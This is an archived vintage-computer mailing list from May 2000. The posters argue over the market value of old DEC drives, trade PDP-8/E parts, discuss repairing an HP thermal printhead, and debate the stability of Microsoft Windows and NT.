leaves 2 RK05's and a Dectape unit.. is anyone willing to pay a > > reasonable amount, AND pick this stuff up in minneapolis, AND do it > > pretty quickly? I know Dectape units are worth about $1000, so this > > is a worthwile thing to get if you have teh space for it (the curse > > of working for the university, is that they dont pay me enough to > > be able to afford the space for all thsi stuff)... > > > > If you want this, speak up and i'll go see what i can arrange with > > him. i want the cpu, and boards if they are found (my 8/e has no > > interface boards, and front panel is damaged, and power cable is > > cut, as you might recall...) > > > > -Lawrence LeMay > > From broth at heathers.stdio.com Sat May 6 19:31:07 2000 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 18:52:35 2005 Subject: PDP8/E peripherals References: <200005052051.PAA13508@caesar.cs.umn.edu> <3914AF82.D1AA881A@heathers.stdio.com> <003e01bfb6fa$a9389480$fd83fea9@office> Message-ID: <3914B94B.639A2DC9@heathers.stdio.com> No, what he needs to do is not offer to trade with someone and then put it up for sale. I'm not disputing its value. And sometimes it IS like collecting old cars. You can pay big bucks for the parts at a flea market or find a complete perfectly restorable condition car in someones garage for the price of a tow. I found an almost perfect 1971 H.O. Trans Am in the junkyard once for $900 that only had 2100 miles on it. John, as you told me once, this stuff is out there. You just have to be creative in your search and yes, most of it is free to whoever hauls it away. Brian. Brian. johnb wrote: > ----- Original Message ----- > From: Brian Roth > To: > Sent: Saturday, May 06, 2000 7:49 PM > Subject: Re: PDP8/E peripherals > > > So THATS why you didn,t get back to me about a trade for the DECtape > drive. > > Now you want a grand for it. Interesting how one person says a TU56 is > worth a > > $1000 and now its law. Its only worth $1000 if someone pays you a $1000. > Good > > luck... > > > > Last year Chuck McManis(sp) posted that the going rate for a TU56 was $1000. > I get *considerably* more for them. They *are* rare and collectors *really* > like them (yuck). If you can get one running then you really have *gold*. I > have never seen one go on eBay before but I would hate to see it's value in > eBay $$$$! > > Lawrence shouldn't have any problems getting at *least* a $1000 for a TU56. > If he's getting any less then he needs to contact me ;-) > > http://www.pdp8.com/ > john > > > Lawrence LeMay wrote: > > > > > Ok, i finally found the guy at his office (we work for the same > department > > > here at the university ;) and had a chat. Looks liek he might try to get > > > me the pdp8/e cpu (without any boards) and the boards if he can find the > > > box that they are in. > > > > > > This leaves 2 RK05's and a Dectape unit.. is anyone willing to pay a > > > reasonable amount, AND pick this stuff up in minneapolis, AND do it > > > pretty quickly? I know Dectape units are worth about $1000, so this > > > is a worthwile thing to get if you have teh space for it (the curse > > > of working for the university, is that they dont pay me enough to > > > be able to afford the space for all thsi stuff)... > > > > > > If you want this, speak up and i'll go see what i can arrange with > > > him. i want the cpu, and boards if they are found (my 8/e has no > > > interface boards, and front panel is damaged, and power cable is > > > cut, as you might recall...) > > > > > > -Lawrence LeMay > > > > From lemay at cs.umn.edu Fri May 5 21:11:56 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:35 2005 Subject: PDP8/E peripherals In-Reply-To: <3914B94B.639A2DC9@heathers.stdio.com> from Brian Roth at "May 6, 2000 08:31:07 pm" Message-ID: <200005060211.VAA02470@caesar.cs.umn.edu> > > > ----- Original Message ----- > > From: Brian Roth > > To: > > Sent: Saturday, May 06, 2000 7:49 PM > > Subject: Re: PDP8/E peripherals > > > > > So THATS why you didn,t get back to me about a trade for the DECtape > > drive. > > > Now you want a grand for it. Interesting how one person says a TU56 is > > worth a > > > $1000 and now its law. Its only worth $1000 if someone pays you a $1000. > > Good > > > luck... > > > No, no... Geez, this is what I get for taking an hour off from the internet to watch Greed. Those are completely separate things. Yes, i actually located 2 completely separate dectape units within about a 2 week period. The one that is gutted, I have a few pieces from. For those, i'd like to trade them for something I can use. For the intact one that is probably worth $1000, i'm NOT picking it up, and if someone local wants to offer the person who is trying to sell this stuff some money (not necessarily $1000, I bet half that or even less would probably do if you came to pick it up) then you might just get the peripheral that you've been dreaming of having... > > > > Last year Chuck McManis(sp) posted that the going rate for a TU56 was $1000. > > I get *considerably* more for them. They *are* rare and collectors *really* > > like them (yuck). If you can get one running then you really have *gold*. I > > have never seen one go on eBay before but I would hate to see it's value in > > eBay $$$$! > > > > Lawrence shouldn't have any problems getting at *least* a $1000 for a TU56. > > If he's getting any less then he needs to contact me ;-) Unfortunately all I have are the motors (3 of the 4), the front plastic panel, the front switches (2 units). And mixed in with other cards I obtained at the same time, I also have all the flip-chips that were in the unit. Oh, and the two read/write heads and the tape guides. If I had a system based on a Dectape (i'm assuming i'll be aiming for a rx02 and decpack system config) and if someone else came across a gutted dectape unit, i would be glad that they took the time to scavenge parts that they dont need in order to help me out. Thats just the way i'm looking at it. I know many of you have been in the same boat i'm in. I offer stuff occasionally and irregularily as I come across it, and all I end up with is wasting a lot of my time and effort, while someone else gets the stuff and I just get compensated for shipping costs (and not effort). And no, i'm not looking for a little more cash, if i want a few more dollars I can save a few dollars easily enough. There is satisfaction in seeing others get what they've been looking for, but there is also satisfaction gained by getting the items you yourself are looking for. Its that last piece of the puzzle i'm attempting to figure out ;) > > > > http://www.pdp8.com/ > > john > > > > > Lawrence LeMay wrote: > > > > > > > Ok, i finally found the guy at his office (we work for the same > > department > > > > here at the university ;) and had a chat. Looks liek he might try to get > > > > me the pdp8/e cpu (without any boards) and the boards if he can find the > > > > box that they are in. > > > > > > > > This leaves 2 RK05's and a Dectape unit.. is anyone willing to pay a > > > > reasonable amount, AND pick this stuff up in minneapolis, AND do it > > > > pretty quickly? I know Dectape units are worth about $1000, so this > > > > is a worthwile thing to get if you have teh space for it (the curse > > > > of working for the university, is that they dont pay me enough to > > > > be able to afford the space for all thsi stuff)... > > > > > > > > If you want this, speak up and i'll go see what i can arrange with > > > > him. i want the cpu, and boards if they are found (my 8/e has no > > > > interface boards, and front panel is damaged, and power cable is > > > > cut, as you might recall...) > > > > > > > > -Lawrence LeMay > > > > From mikeford at socal.rr.com Sat May 6 00:42:56 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:35 2005 Subject: PDP8/E peripherals In-Reply-To: <3914B94B.639A2DC9@heathers.stdio.com> References: <200005052051.PAA13508@caesar.cs.umn.edu> <3914AF82.D1AA881A@heathers.stdio.com> <003e01bfb6fa$a9389480$fd83fea9@office> Message-ID: >And sometimes it IS like collecting old cars. You can pay big bucks for the >parts at a flea market or find a complete perfectly restorable condition >car in >someones garage for the price of a tow. I found an almost perfect 1971 H.O. >Trans Am in the junkyard once for $900 that only had 2100 miles on it. How big of a piece did you get? From mikeford at socal.rr.com Sat May 6 00:36:41 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:35 2005 Subject: PDP8/E peripherals In-Reply-To: <003e01bfb6fa$a9389480$fd83fea9@office> References: <200005052051.PAA13508@caesar.cs.umn.edu> <3914AF82.D1AA881A@heathers.stdio.com> Message-ID: What about a pair of TU81 tape drives? (monsters taking a whole tall rack). From technoid at cheta.net Sat May 6 00:20:22 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:35 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <003701bfb6d3$f78e0e20$942d63c3@gazk> Message-ID: <200005060608.CAA08063@lexington.ioa.net> >Is it truly necessary to fill the list with stuff like "Microsoft is awful", >etc etc etc.? One of the primary functions of this group is to advance computing knowlege by disseminating information hard won through experience with machines that 'have been'. I agree that simple admonitions such as 'Microsoft sux' are ameture and deserve little attention. I must protest however. We know enough by far about various architectures to compare them and Microsoft's products clearly do not pass muster. Not to say they don't pass the average computer user's tests of ease of use or understandability but thier underlying architectures are poorly designed and prone to failure. >I don't see how that is particularly related to classic >computers... These threads have everything to do with Classic computing as we have been given the opportunity thereby to view the growth of many environments and to compare them at thier various stages of growth. >Like the "Nuke Redmond" thread, which filled my mailbox with >probably 100+ messages which I had no desire at all to even look at. It is >really annoying to check your mail, have about 70-100 messages, and have >about 80 or so be pure garbage like that. Fair enough. I anticipated more flames when I wrote that article than were posted. I disagree that the original message and the threaded replies were "pure garbage" or even impure garbage. Most of the 'replies' on that thread had nothing to do with the original message which pertained to Microsoft's disgusting habit of destroying people and companies rather than competing decently. You are discussing topics with peers not morons. We really know of what we speak. >Besides, not everyone dislikes Microsoft's products. I for one, like their products a >lot, I'm using Win 98SE right now, and our NT server has been running continuously for >about 4 years now, no crashes at all. I don't believe you have had a four year uptime with NT unless your NT box is not connected to a network. At least admit you reboot the machine from time to time. The best Uptime I have had on an NT machine is NT4 Terminal Server which stayed up for six months without a reboot. I feel NT is a qualified server OS but my particular circumstance is an NT machine with little network activity. On other larger NT server networks I work on I have to reboot the server as often as once per week to maintain decent availability. I think it has to do with hash tables NT creates to deal with high-demand network activity. My guess is NT does not deallocate the ram allocated to these processes which eventually degrades network performance to the degree that the admin must 'deallocate' this ram by manually rebooting the server at intervals defined by the level of use the server receives. As far as 95/98 is concerned, if you know anything about the underlying foundation of an operating system you must admit that 95/98 is a horrible kluge. I agree that 98 is much better than 95 in terms of stability but neither will ever be a great operating system because thier foundation is nonexistent. I liken 9x to an upside-down pyramid based the MSDOS interrupt handler. I could imagine a 9x system being stable despite it's poor foundation if that foundation were made of diamond. This would not be an estheticly pleaseing operating system but it could be made stable if it's core were very strong. My main objection to 9x is that application installs replace core components with non-tested ones ( at least in that given configuration ). In other words, each Windows machine is unique in it's core configuration. This is a dangerous design approach and invites nearly infinite opportunities for incompatabilities and general instability. >And I do have experience with other OS's, I >also run BeOS on my machine, I also run Solaris, Netware, VMS, RT-11, OS-32, >Infoshare, CP/M, MacOS, UnixWare, and HP-UX. I'd say VMS is my favorite, >BeOS is up there, same with UnixWare + Win 98, with Linux, Netware, Bully for you and I mean that. Experiencing other operating systems is a tremendous learning tool. Ease of use is important but more important still is stability. My guess - and only a guess is that you have not actually run these alternate opertating systems in a production environment and so cannot guage thier relative stability. >MacOS being my all-time least favorites. Macos is pretty stable but I'd have to agree with you that it's not very pretty. It lacks a lot in terms of configurability that I look for in an operating system. That opinion does not affect the fact that it has been proven stable and users don't have to muck with it to make it work. >I wouldn't even consider running a >Linux machine unless there was money in it for me ;p Anyway, I've now added >some of what I hate, going against the entire message I was saying, but >anyway, how about having the list a bit more on topic? I don't blame you. Linux is not ready for Prime Time on the desktop. It lacks the level of user-pretties and network configurability I would look for in a desktop environment. My personal choice would be OS/2 for just about everything desktop related. I wish IBM had the guts to market it. -- ----------------------------------------------------------- Jeffrey S. Worley Technical Services Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From whdawson at mlynk.com Sat May 6 02:42:03 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:52:35 2005 Subject: Applicon Main Frame Item #320691939 on eBay Message-ID: <001601bfb72e$9242e760$5fe3dfd0@cobweb.net> There is no photo, and here's the description: "Applicon Mainframe For sale. Must be moved from current location. Consists of one PDP11 Processor, reel to reel tape backup unit, 200 megabyte memorex removable platter hard drive, 4 autocad terminals with green crts. System was once owned by Fisher Motorbody and used to design car bodies. System is two 6 ft tall standard 19" racks and the external hard drive unit. Each terminal is a build in desk unit with the monitor mounted on a pole in the back and sitting one foot above the desk area. Unit must be moved for the space. Shipping must be paid by the buyer. Best offer and take it away." There's only one bid for $10.00, no reserve, and the auction ends in about 8 hours. Does this sound like something that would be worth driving a little over 300 miles to pick up? The PDP11 description leaves a lot to the imagination. Does anyone know which PDP11 was used by Applicon? Bill Dawson Washington, PA whdawson@mlynk.com ? From pete at dunnington.u-net.com Sat May 6 02:45:59 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:35 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: ard@p850ug1.demon.co.uk (Tony Duell) "Re: HP calculator thermal printheads (HP82143, etc)" (May 6, 0:24) References: Message-ID: <10005060845.ZM3073@indy.dunnington.u-net.com> On May 6, 0:24, Tony Duell wrote: > On Fri May 5, 23:16, Pete Turnbull wrote: > > > Has anyone here managed to mend a printhead like this? > > > > No, but could you use silver-loaded conductive paint? > Yes, I'd thought of that (and I keep a bottle in my tool box). > > Problem is, there's a distinct crack to bridge where the 2 parts have > been stuck together,so the paint may well not last too well. Depends on what stress it might be subject, I suppose. > Worse than that, the printhead is 1/4" wide, and there are 8 tracks in > that width. I don't fancy trying to paint that lot without shorting at > least 2 of them together... Soldering on that pitch I could manage, > though, if only the solder would 'take'. Ah. Given the thickness of the paint, painting tracks would be difficult, even with a good-quality fine brush. The only other suggestion I can think of, is to paint a wide strip, covering all 8 tracks, and then use a scalpel blade (and some patience) to gently scratch gaps between them. -- Pete Peter Turnbull Dept. of Computer Science University of York From wilson at dbit.dbit.com Sat May 6 02:54:28 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 In-Reply-To: <001001bfb6ef$947e3000$fd83fea9@office>; from dylanb@sympatico.ca on Fri, May 05, 2000 at 08:11:08PM -0400 References: <200005052224.PAA00800@shell1.aracnet.com> <001001bfb6ef$947e3000$fd83fea9@office> Message-ID: <20000506035428.A32193@dbit.dbit.com> On Fri, May 05, 2000 at 08:11:08PM -0400, johnb wrote: > No, that's going-rate collector prices. You live in a different reality from the rest of us. If you manage to fleece the collector types who buy PDPs as trophies which they will never use or understand, more power to you, they certainly deserve it. But just because someone, one time, paid $X for something, doesn't mean that that something is officially *worth* $X from now on. The rest of us have been doing trades and freebies with people with similar interests, and plan to continue to do so. > And, no, I don't know anyone who has > ever *paid* for any license for any old DEC equipment for personal use. You do now. Re RL01/02 drives being worthless, maybe to collectors (non-users) but those guys live in a fantasy world anyway. I just got a request this week from a commercial user (in Russia) who was desparate for spare RL drives, and it sure isn't the first time. Meanwhile, no one is looking for RS64s or RS11s or RP02s as replacements for their commercial systems, because those drives are inherently unreliable at this point. So again, the fact that one or two rich kids wanted to buy an RK02 so they could build a shrine to the early career they want to *pretend* was theirs, doesn't mean that those drives are genuinely more desirable than the workhorses that real users have *actually* relied upon for 75% of the PDP-11 line's history. John Wilson D Bit From wilson at dbit.dbit.com Sat May 6 02:58:35 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 In-Reply-To: ; from allisonp@world.std.com on Fri, May 05, 2000 at 04:17:32PM -0400 References: <20000505155150.A30766@dbit.dbit.com> Message-ID: <20000506035835.B32193@dbit.dbit.com> On Fri, May 05, 2000 at 04:17:32PM -0400, allisonp@world.std.com wrote: > I do hae the rx01 and maybe the rx02 manuals. I ahve to check to see if > the drawing for the rx8e are in them as it has to be a trivial board. I definitely have RX8E prints so if you don't already, let me know if you want a copy. There's not much to the board at all, the parts that actually *do* anything are dwarfed by the drivers/receivers/selection stuff. John Wilson D Bit From mikeford at socal.rr.com Sat May 6 04:41:44 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 In-Reply-To: <20000506035428.A32193@dbit.dbit.com> References: <001001bfb6ef$947e3000$fd83fea9@office>; from dylanb@sympatico.ca on Fri, May 05, 2000 at 08:11:08PM -0400 <200005052224.PAA00800@shell1.aracnet.com> <001001bfb6ef$947e3000$fd83fea9@office> Message-ID: >On Fri, May 05, 2000 at 08:11:08PM -0400, johnb wrote: >> No, that's going-rate collector prices. > >You live in a different reality from the rest of us. If you manage to fleece >the collector types who buy PDPs as trophies which they will never use or >understand, more power to you, they certainly deserve it. But just because This is an old argument, but I know of nothing better than the open market to set a "fair" price. A caveat that many people on this list seem to cheerfully brush aside is that a "really" working system has a LOT more value. So many people are willing to buy junk and "hope" it works, or that they can fix it, it just isn't funny. There is also a BIG difference in the value of a fully refurbished unit vs a "working" unit. From broth at heathers.stdio.com Sun May 7 07:38:55 2000 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 18:52:36 2005 Subject: PDP8/E peripherals References: <200005052051.PAA13508@caesar.cs.umn.edu> <3914AF82.D1AA881A@heathers.stdio.com> <003e01bfb6fa$a9389480$fd83fea9@office> Message-ID: <391563DF.37E1F54D@heathers.stdio.com> I drove it home. Mike Ford wrote: > >And sometimes it IS like collecting old cars. You can pay big bucks for the > >parts at a flea market or find a complete perfectly restorable condition > >car in > >someones garage for the price of a tow. I found an almost perfect 1971 H.O. > >Trans Am in the junkyard once for $900 that only had 2100 miles on it. > > How big of a piece did you get? From jpero at cgocable.net Sat May 6 04:39:03 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:52:36 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: <10005060845.ZM3073@indy.dunnington.u-net.com> References: ard@p850ug1.demon.co.uk (Tony Duell) "Re: HP calculator thermal printheads (HP82143, etc)" (May 6, 0:24) Message-ID: <200005061333.e46DXwr18305@admin.cgocable.net> > Date: Sat, 6 May 2000 07:45:59 GMT > From: pete@dunnington.u-net.com (Pete Turnbull) > To: classiccmp@classiccmp.org > Subject: Re: HP calculator thermal printheads (HP82143, etc) > Reply-to: classiccmp@classiccmp.org > On May 6, 0:24, Tony Duell wrote: > > On Fri May 5, 23:16, Pete Turnbull wrote: > > Ah. Given the thickness of the paint, painting tracks would be difficult, > even with a good-quality fine brush. The only other suggestion I can think > of, is to paint a wide strip, covering all 8 tracks, and then use a scalpel > blade (and some patience) to gently scratch gaps between them. Ugh, that is exact same thing what I did many times in my retired compaq LTE 386s/20 on one of two keyboard cable. Is there a better quality kind than this conductive paint I got? Then name one! Wizard > -- > > Pete Peter Turnbull > Dept. of Computer Science > University of York > > From dylanb at sympatico.ca Sat May 6 10:36:42 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 References: <200005052224.PAA00800@shell1.aracnet.com><001001bfb6ef$947e3000$fd83fea9@office> <20000506035428.A32193@dbit.dbit.com> Message-ID: <001501bfb770$e10cdd00$fd83fea9@office> ----- Original Message ----- From: John Wilson To: Sent: Saturday, May 06, 2000 3:54 AM Subject: Re: value of RK05 > On Fri, May 05, 2000 at 08:11:08PM -0400, johnb wrote: > > No, that's going-rate collector prices. > > You live in a different reality from the rest of us. If you manage to fleece > the collector types who buy PDPs as trophies which they will never use or > understand, more power to you, they certainly deserve it. But just because > someone, one time, paid $X for something, doesn't mean that that something > is officially *worth* $X from now on. The rest of us have been doing trades > and freebies with people with similar interests, and plan to continue to do so. > I base the price on *alot* more than one sale. Ie: 3 PDP-11/35s for $6-7K minimum.I don't think you want to know what Classic-11s (pre 11/20) sell for. Remember, I put the 11/35 on eBay to specifically show what these machines *really* sell for - I was a bit disappointed, it only went for $6K. The collectors that tend to buy my equipment *do* in fact use it for fun.. probably about as much as folks here. For most, it was the first computer they ever used. Look at what list members here are willing to pay for little pieces on eBay. Again, I want to re-interate that I sell quite a few minicomputers and my prices are based on demand/offers and the prices I quote here are based on numerous sales. BTW Museums are willing to pay considerable money for old all-transistor minicomputers now as well! > > And, no, I don't know anyone who has > > ever *paid* for any license for any old DEC equipment for personal use. > > You do now. > (1) - again the software is 30 years old. > Re RL01/02 drives being worthless, maybe to collectors (non-users) but those > guys live in a fantasy world anyway. I just got a request this week from > a commercial user (in Russia) who was desparate for spare RL drives, and it > sure isn't the first time. Meanwhile, no one is looking for RS64s or RS11s > or RP02s as replacements for their commercial systems, because those drives > are inherently unreliable at this point. So again, the fact that one or > two rich kids wanted to buy an RK02 so they could build a shrine to the early > career they want to *pretend* was theirs, doesn't mean that those drives are > genuinely more desirable than the workhorses that real users have *actually* > relied upon for 75% of the PDP-11 line's history. > I said the RL01s were worthless to collectors. Price is of course based on rarity. I think *every* PDP-11/34 was shipped with RL01s ;-) http://www.pdp8.com/ john > John Wilson > D Bit > From dylanb at sympatico.ca Sat May 6 10:39:43 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 References: "2000 at 08:11:08PM -0400"<"200005052224.PAA00800"@shell1.aracnet.com><001001bfb6ef$947e3000$fd83fea9@office> Message-ID: <001d01bfb771$4cb23c80$fd83fea9@office> ----- Original Message ----- From: Mike Ford To: Sent: Saturday, May 06, 2000 5:41 AM Subject: Re: value of RK05 "There is also a BIG difference in the value of a fully refurbished unit vs a "working" unit." Agreed! Authenticity and background of the person fully restoring the mini has a lot to do with value. Also, if the person restoring it *can* support it through spare parts and documentation also establishes value. http://www.pdp8.com/ john > > From rigdonj at intellistar.net Sat May 6 10:30:24 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:36 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000001bfb56c$e2ec5de0$59a40b18@C721564-A.sttln1.wa.home.co m> References: <3.0.1.16.20000503151148.0a4f407e@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000506103024.269705e6@mailhost.intellistar.net> At 06:50 PM 5/3/00 -0700, you wrote: > > >-----Original Message----- >From: owner-classiccmp@classiccmp.org >[mailto:owner-classiccmp@classiccmp.org]On Behalf Of Joe >Sent: Wednesday, May 03, 2000 1:12 PM >To: classiccmp@classiccmp.org >Subject: Re: Couple of cool HP 110/150 finds > > >>HP-IB ABC switch (92205Y) Used to chain up to 21 external HP-IB devices >>(have you seen one of these before, Joe?) > > I have one but it looks about like one of the standard RS-232 switch >boxs and it only switchs between four (i think!) sets of HP-IB cables. > >Well, it does have three HP-IB connectors but since you can daisy chain the >IB devices, wouldn't that mean that you could have seven chained devices per >port? If memory serves, my box has five HP-IB connectors. One is common and the other four are swtiched. In theory, the HP-IB can have up to 32 devices per bus but many of the devices only have three binary switch postitions on the address switches so you can only set them for addresses 0 through 7. > > > >>HP Series 100 Communicator Volumes 7-12 (very cool) > > Now those are unusual. I have two volumes but I've never been able to >find any more of them. Where did you find them? > >What? You're asking me to give up my most productive source of free or very >cheap vintage hardware. I'll give you a hint... it's the coolest vintage >computer store in Seattle. That doesn't help me any. I'm still on the opposite end of the country. Joe > >These books are great! What a wealth of photos and information. > >Volume 7 (1983) =International Edition. Introduces the HP150. >Volume 8 (1984) =World Wide Edition. Lotus 123. >Volume 9 (1984) =World Wide Edition. General, no specific topic. >Volume 10(1984) =WWE. Local area networking with HP computers. >Volume 12(1985) =Touchscreen II. > >Ernest > > From rigdonj at intellistar.net Sat May 6 10:31:50 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:36 2005 Subject: What a weekend! In-Reply-To: <008a01bfb568$52d88110$8264c0d0@ajp166> Message-ID: <3.0.1.16.20000506103150.355f5d1a@mailhost.intellistar.net> At 09:15 PM 5/3/00 -0400, you wrote: > >>> > Even got parts from a lunar lander... >>> What? Name 'em! >> >> Part of the RADAR altimeter and a spare hatch. > > >Parts of the flight computer would be a catch! Even those of the >Shuttle. One of my buddies has one from a previous sale. I still haven't seen it yet. Joe From edick at idcomm.com Sat May 6 10:21:09 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:36 2005 Subject: I wrote 'Nuke Redmond' References: <200005060608.CAA08063@lexington.ioa.net> Message-ID: <000701bfb76e$b7ab36c0$0400c0a8@winbook> Well . . . just to add a bit of grist for the mill . . . I've got to agree, Microsoft is not perfect. However, I'm also forced, by grim experience, to point out that, while Microsoft's products, which were pointed out last week by one Harvard professor's comments on the progress of the current (misguided) lawsuit against them by the government, to have both 90+ % of the operating systems market, and to hold 90+ % of the office software market as well, they are not all they could be. I have to agree that I like the Microsoft products, and that's because, unlike the offerings of yesteryear, including those from Microsoft, the current generation does seem to work quite adequately to meet my requirements. Yes, there are features I'd probably appreciate, and there are features which cause annoyance from time to time, but, all in all, they seem to work. I'm often puzzled by the complaints about "crashes" under Win9x and NT. My notebook, running Win95, hasn't crashed, although it's been in almost constant use since early '97 when I bought it. Now, the machines into which I routinely stick cards that may or may not work, along with products that may or may not work, both hardware and software, . . . well, they have had other histories, but it's seldom Microsoft software that's to blame for that. These Microsoft products, notably the Win95 software and its Win98 successor, though not perfect, only cost about $100. The Office software costs about $400, though counterfeits of both are available for much less. The cost of the Office software is only a little more than what the venerable WORDSTAR for CP/M cost back in the '70's, and probably much less if one takes inflation into account. Frankly, there's little reason why anyone should complain in view of the cost, if nothing else. While you can find fault with this Microsoft stuff, you can't name a single OS that's provided as many of the features that people want in a form in which they can use it on the personal computer level. What's more, even CP/M cost more than Win9x. I've never bought a license for a DEC OS, but I doubt it cost under $100. There are Linux versions one can buy in ready-to-install form for under $100, but those will cost $1M, at least, at 50-cents-an-hour before they're working properly and that's only if you're a real *nix expert. What's more, NO *nix version offers the features that make the Win9x desirable for home computer use. There are lots of books out there for *nix users, but I've yet to see a "{insert vendor name here} Office for Dummies" book for LINUX, though I hear there is a "LINUX for Dummies" book out there. The issue of reliability can be argued almost forever, but it does seem to me that the "reliability" of a given system depends a great deal on how the system is being used, to wit, the relative stability of my notebook, which is used for little else than what the OS and Office software support. Of course I do use it to view document files on CD and to prepare overheads and other illustrations using an old version of CorelDRAW!. People have computers for different reasons. If some OS other than what's offered by Microsoft suits you better, e.g. OS/2, then it's likely that you should use that instead. If you prefer one of the many UNIX incarnations, that's your choice as well. However, for the mix of functionality and cost that the "average" home computer user wants and needs, Microsoft seems to have been right on the money. Their market share seems to underscore that point. Dick ----- Original Message ----- From: To: Sent: Friday, May 05, 2000 11:20 PM Subject: I wrote 'Nuke Redmond' > > >Is it truly necessary to fill the list with stuff like "Microsoft is awful", > >etc etc etc.? > > One of the primary functions of this group is to advance computing > knowlege by disseminating information hard won through experience with > machines that 'have been'. I agree that simple admonitions such as > 'Microsoft sux' are ameture and deserve little attention. I must protest > however. We know enough by far about various architectures to compare > them and Microsoft's products clearly do not pass muster. Not to say they > don't pass the average computer user's tests of ease of use or > understandability but thier underlying architectures are poorly designed > and prone to failure. > > >I don't see how that is particularly related to classic > >computers... > > These threads have everything to do with Classic computing as we have > been given the opportunity thereby to view the growth of many environments > and to compare them at thier various stages of growth. > > >Like the "Nuke Redmond" thread, which filled my mailbox with > >probably 100+ messages which I had no desire at all to even look at. It is > >really annoying to check your mail, have about 70-100 messages, and have > >about 80 or so be pure garbage like that. > > Fair enough. I anticipated more flames when I wrote that article than were > posted. I disagree that the original message and the threaded replies > were "pure garbage" or even impure garbage. Most of the 'replies' on that > thread had nothing to do with the original message which pertained to > Microsoft's disgusting habit of destroying people and companies rather > than competing decently. You are discussing topics with peers not morons. > We really know of what we speak. > > >Besides, not everyone dislikes Microsoft's products. I for one, like their products a >lot, I'm using Win 98SE right now, and our NT server has been running continuously for >about 4 years now, no crashes at all. > > I don't believe you have had a four year uptime with NT unless your NT box > is not connected to a network. At least admit you reboot the machine from > time to time. The best Uptime I have had on an NT machine is NT4 Terminal > Server which stayed up for six months without a reboot. I feel NT is a > qualified server OS but my particular circumstance is an NT machine with > little network activity. On other larger NT server networks I work on I > have to reboot the server as often as once per week to maintain decent > availability. I think it has to do with hash tables NT creates to deal > with high-demand network activity. My guess is NT does not deallocate the > ram allocated to these processes which eventually degrades network > performance to the degree that the admin must 'deallocate' this ram by > manually rebooting the server at intervals defined by the level of use the > server receives. > > As far as 95/98 is concerned, if you know anything about the underlying > foundation of an operating system you must admit that 95/98 is a horrible > kluge. I agree that 98 is much better than 95 in terms of stability but > neither will ever be a great operating system because thier foundation is > nonexistent. I liken 9x to an upside-down pyramid based the MSDOS > interrupt handler. > > I could imagine a 9x system being stable despite it's poor foundation if > that foundation were made of diamond. This would not be an estheticly > pleaseing operating system but it could be made stable if it's core were > very strong. My main objection to 9x is that application installs replace > core components with non-tested ones ( at least in that given > configuration ). In other words, each Windows machine is unique in it's > core configuration. This is a dangerous design approach and invites > nearly infinite opportunities for incompatabilities and general > instability. > > >And I do have experience with other OS's, I > >also run BeOS on my machine, I also run Solaris, Netware, VMS, RT-11, OS-32, > >Infoshare, CP/M, MacOS, UnixWare, and HP-UX. I'd say VMS is my favorite, > >BeOS is up there, same with UnixWare + Win 98, with Linux, Netware, > > Bully for you and I mean that. Experiencing other operating systems is a > tremendous learning tool. Ease of use is important but more important > still is stability. My guess - and only a guess is that you have not > actually run these alternate opertating systems in a production > environment and so cannot guage thier relative stability. > > >MacOS being my all-time least favorites. > > Macos is pretty stable but I'd have to agree with you that it's not very > pretty. It lacks a lot in terms of configurability that I look for in an > operating system. That opinion does not affect the fact that it has been > proven stable and users don't have to muck with it to make it work. > > >I wouldn't even consider running a > >Linux machine unless there was money in it for me ;p Anyway, I've now added > >some of what I hate, going against the entire message I was saying, but > >anyway, how about having the list a bit more on topic? > > I don't blame you. Linux is not ready for Prime Time on the desktop. It > lacks the level of user-pretties and network configurability I would look > for in a desktop environment. My personal choice would be OS/2 for just > about everything desktop related. I wish IBM had the guts to market it. > > -- > ----------------------------------------------------------- > Jeffrey S. Worley > Technical Services > Who is General Failure and why is he reading my hard disk? > Technoid@Cheta.net > ----------------------------------------------------------- > From allisonp at world.std.com Sat May 6 09:28:15 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:36 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <003301bfb76a$8cc1f100$7464c0d0@ajp166> >I don't believe you have had a four year uptime with NT unless your NT box >is not connected to a network. At least admit you reboot the machine from >time to time. The best Uptime I have had on an NT machine is NT4 Terminal >Server which stayed up for six months without a reboot. I feel NT is a >qualified server OS but my particular circumstance is an NT machine with Well I have to live with three NT3.51 servers and reboots do occur but they are from power failures that exceed the UPS or when the fan on the cpu got noisey and needed replacing. Within it's limits it's ok. >little network activity. On other larger NT server networks I work on I >have to reboot the server as often as once per week to maintain decent >availability. I think it has to do with hash tables NT creates to deal One thing you have to watch for is "memory leaks" from things like ODBC drivers and the like that don't work right. We did have one drier that would take the server to it knees about every three days if we let it. the fix for that (kluge in my opine) was to stop that process every night and restart it. >with high-demand network activity. My guess is NT does not deallocate the >ram allocated to these processes which eventually degrades network >performance to the degree that the admin must 'deallocate' 